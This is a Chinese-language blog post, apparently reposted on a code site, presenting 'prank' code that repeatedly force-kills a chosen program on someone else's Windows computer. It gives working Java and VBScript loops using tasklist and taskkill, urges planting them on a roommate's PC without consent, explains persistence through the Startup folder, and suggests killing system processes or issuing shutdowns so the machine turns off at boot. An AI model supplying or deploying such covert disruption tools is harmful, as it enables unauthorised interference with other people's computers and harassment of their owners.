Java惡搞!強制關閉電腦上的程序進程!


效果

最近寫代碼經常和各種進程打交道,發現了一個很有意思的黑科技。
我直接說有什么用吧,可以設置每隔多少時間檢查某個程序是否在使用,如果在用,就強制關閉。比如,有的sb舍友晚上就是不睡覺,一邊打游戲一邊嚷嚷,那么把程序放他電腦里,定時五分鍾,他會發現他的擼啊擼每次都是只能玩五分鍾就強退。
在這里插入圖片描述
之前說的用robot廢掉鍵盤和鼠標太小兒科,配合這個使用,保證讓舍友懷疑人生。
最重要的是,用vb和bat代碼量賊少而且非常方便,還能設置開機自動執行!

在這里插入圖片描述
這里設置了檢查記事本文件,時間間隔為五秒,效果就是運行程序后,記事本文件閃退,一直打不開

源碼

不難,就是使用Java執行Windows命令而已,我們實現的過程其實就是在模擬在cmd小黑窗口里輸入命令。

public static void main(String[] args) throws AWTException {
		shutdownPro("QQ", 5000);//傳入兩個參數,一個是想要操作的進程的名字,一個是時間間隔
	}
	public static void shutdownPro(String progressName,int time) throws AWTException {
		int isRunning = -1;//定義變量,該變量用來判斷某程序是否在運行,初始值為-1
		Robot robot=new Robot();
		while(true) {
			try {
				robot.delay(time);//使用robot的延時功能來完成每隔多少時間運行一次,當然還有其他方法實現該功能
				
				//下面兩句是用Java來調用某個程序的語句,這里定義了一個Windows的命令,然后去執行。該語句的作用是查看當前在運行的程序
				String cmd = " tasklist";
				Process p = Runtime.getRuntime().exec(cmd);
				
				//上述語句執行完后,可以通過Process對象獲得窗口返回的數據,把這個數據拼接成一個字符串
				StringBuffer proList = new StringBuffer();
				byte[] b = new byte[1024];
				for (int n; (n = p.getInputStream().read(b)) != -1;) {
					proList.append(new String(b, 0, n));
				}
				
				
				isRunning = proList.toString().indexOf(progressName+".exe");//調用indexOf方法判斷某個進程是否存在於我們得到的結果中
				
				//如果有,說明在運行
				if (isRunning >= 0) {
					System.out.println("正在關閉");
					//同上,執行一條命令,該命令是強制關閉該進程
					String command = "taskkill /f /im "+progressName+".exe";
					Runtime.getRuntime().exec(command);
					System.out.println("已關閉");
				} else {
					System.out.println("無進程");
				}

			} catch (Exception e1) {
				e1.printStackTrace();

			}
		}
	}

講解

  1. cmd命令:其實就是Windows命令,感興趣的自己去查一下。
    這里我們用到了兩個,一個是tasklist,該命令是列出當前在運行的程序,就是打開任務管理器,看到的當前進程列表
    在這里插入圖片描述
    在cmd里運行的效果是
    在這里插入圖片描述
    第二條命令:taskkill /f /im xxx.exe
    taskkill是Windows命令行里終止指定程序進程的命令。
    /f 表示強制終止
    /im 表示指定的進程名稱
    xxx,就寫程序名字唄,相關記事本就是notepad,想關QQ那就是QQ唄,當然最重要的是關了他們的LOL

  2. 設置多久執行一次
    顯然死循環啊,里面用Robot的延時方法或者線程sleep方法都行。
    不嫌麻煩用時間日期類來做也行

  3. 如何判斷某程序是否在運行
    執行第一條指令,會得到返回結果,我們把它當成一個字符串來看,這個字符串里包含了所有當前在運行的程序。那用string的indexof方法或者contains方法都行啊,判斷這個字符串是否包含某個子字符串,這個子字符串就是我們指定的程序名
    如果存在,那么執行第二條指令,強行關閉

擴展

上面是學習一下Java,下面才是干貨

do
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='notepad.exe'")
for each i in pipe
i.terminate()
next
wscript.sleep 5000
loop

vb版本,和系統打交道還是vb和bat腳本比較方便,不同語言的作用不一樣,這個要區分清楚。
復制上面代碼到記事本里,保存,后綴改成.vbs就行了,雙擊直接能運行。
記得把進程名和時間改成自己需要的就行。然后就可以拿舍友測試了。
什么?你還想設置為開機自動啟動?
不行,這太狠了,人家只是打個游戲而已,不至於趕盡殺絕吧。
你打死我,我也不會告訴你,把這個vb程序放到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp路徑下就可以開機自動啟動了,我也不會告訴你如果你設置是他系統進程或者直接執行關機命令,再把時間調成一秒,他的電腦開機屏幕一亮就關機了!打死我也不說
在這里插入圖片描述

問:為什么不寫注釋也不仔細講解?
答:我也不會啊,我copy的
在這里插入圖片描述

在這里插入圖片描述

這個東西網上一搜有現成的,很簡單。vb比較簡單,做一些小工具還可以,感興趣的可以自己研究

矯情一下

我主業是做研發的,最近因為工作關系,接觸到了很多學生,發現很多同學對學編程很頭疼。我上學的時候也有這種困惑。
我始終認為,編程是一件很有意思的事情,代碼可以做出很多意想不到的東西來,程序員不僅可以改變世界,也可以陶冶情操。同時,我也想顛覆外行人對程序員的認知,搞代碼的不是你們認為的格子衫牛仔褲帆布鞋,也不是禿頭,鋼鐵直男,做程序只是工作,和人沒關系。
可用的代碼千篇一律,有趣的設計萬里挑一。希望我的一些綿薄之力可以讓更多人愛上編程。
當然,肯定還是要靠自己學嘛,至於為什么,emmmm……老師們上課對着PPT念一學期能教出啥來,他們最擅長把的是把你學習的興趣磨沒有。
在這里插入圖片描述


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM